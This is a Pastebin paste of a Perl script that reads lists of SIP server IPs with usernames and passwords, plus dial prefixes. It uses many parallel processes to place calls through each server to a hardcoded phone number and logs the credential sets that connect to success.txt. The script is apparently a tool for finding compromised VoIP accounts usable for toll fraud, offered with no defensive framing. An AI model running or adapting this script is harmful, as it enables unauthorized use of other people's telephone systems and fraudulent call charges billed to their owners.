Advertisement
Guest User

Untitled

a guest
Aug 4th, 2018
548
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.79 KB | None | 0 0
  1. use Data::Dumper;
  2. use IO::Socket::INET;
  3. use Socket;
  4. use Test::More;
  5. use Net::SIP;
  6. use Parallel::ForkManager;
  7. use Term::ANSIColor;
  8. use Time::HiRes qw(gettimeofday tv_interval);
  9. use vars qw($t);
  10. no warnings 'uninitialized';
  11. my $ips = $ARGV[0];
  12. my $num = '13312483969';
  13. #my $num = '201126291919';
  14. #my $num = '201126291919';
  15. my $file = 'prx';
  16. my $filename = 'caller.log';
  17. my $ring_time = '40';
  18. my $max_processes = $ARGV[1];
  19. my $t = $ARGV[2];
  20. my $pm = Parallel::ForkManager->new($max_processes);
  21. #######
  22. if (@ARGV<1){
  23. print "[!] $0 <ip_file> <threads> <timeout>\r\n";
  24. exit;
  25. }
  26.  
  27. open my $handle1, '<', $ips;
  28. chomp(my @IPS = <$handle1>);
  29. close $handle1;
  30. open my $handle1, '<', $file;
  31. chomp(my @PRX = <$handle1>);
  32. close $handle1;
  33. ######
  34. foreach $prf (@PRX){
  35. foreach $line (@IPS){
  36. my $to = "$prf$num";
  37. my $pid = $pm->start and next;
  38. my ($ip,$user,$pass) = split(/ /, $line);
  39. $ip =~ s/\x0a//g;
  40. print color("bold red"),"$ip $user $pass $to\n";
  41. call($ip,$user,$pass,$to);
  42. $pm->finish;
  43. }
  44. print color("bold red"),"Switching $prf$num \n";
  45. }
  46. $pm->wait_all_children();
  47.  
  48. sub call{
  49. #my $pid = fork();
  50. my $ip = shift;
  51. my $user = shift;
  52. my $pass = shift;
  53. my $to = shift;
  54. my ($t1,$t2);
  55. alarm($t);
  56. #local $SIG{__DIE__} = sub { kill 9,$pid; ok( 0,'died' ) };
  57. #local $SIG{ALRM} = sub { kill 9,$pid };
  58. if(!$ip){
  59. exit;
  60. }
  61. my $ua = Net::SIP::Simple->new(
  62. outgoing_proxy => $ip,
  63. registrar => $ip,
  64. domain => $ip,
  65. from => $user,
  66. auth => [ $user,$pass ]
  67. );
  68. #print Dumper($ua);
  69. my $peer_hangup; # did peer hang up?
  70. my $no_answer;
  71. my $rtp_done;
  72. my $ringing = 0;
  73. print "Calling $test_n $user $pass $ip $to\n";
  74. my $call = $ua->invite("$to",
  75. init_media => sub {
  76. my $now = time;
  77. my ($sec,$min,$hour,$mday,$mon,$year,$wday,$yday,$isdst) = localtime(time);
  78. #print "Assuming Call is Made $ip $user $pass $to $hour:$min:$sec\n";
  79. print "$ip $user $pass $to $hour:$min:$sec\n";
  80. },
  81. cb_rtp_done => \$rtp_done,
  82. asymetric_rtp => 0,
  83. rtp_param => [ 8, 160, 160/8000, 'PCMA/8000' ],
  84. cb_established => sub { diag( "call established $ip $user $pass $to" ) },
  85. recv_bye => \$peer_hangup,
  86. cb_noanswer => \$no_answer,
  87. ring_time => $ring_time,
  88. );
  89.  
  90. #}
  91.  
  92. #$ua->loop( \$rtp_done,\$peer_hangup,\$no_answer );
  93. my $t1 = [gettimeofday];
  94. my $done;
  95. $call->reinvite( recv_bye => \$done);
  96. $ua->loop(\$done);
  97. if($done){
  98. my $t2 = [gettimeofday];
  99. my $t0_t1 = tv_interval $t1, $t2;
  100. if($t0_t1 > 2.9 && $t0_t1 < 3.5){
  101. my ($sec,$min,$hour,$mday,$mon,$year,$wday,$yday,$isdst) = localtime(time);
  102. print color("bold Green"),"Call Made
  103. $ip $user $pass $to
  104. $hour:$min:$sec
  105. $t0_t1
  106. \n";
  107.  
  108. print color("bold Green")," success calling and saving Rezult! \n";
  109. open(OUTPUT,">>success.txt");
  110. print OUTPUT "$ip $user $pass $to $hour:$min:$sec $t0_t1\n";
  111. close (OUTPUT);
  112. }
  113. }
  114. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement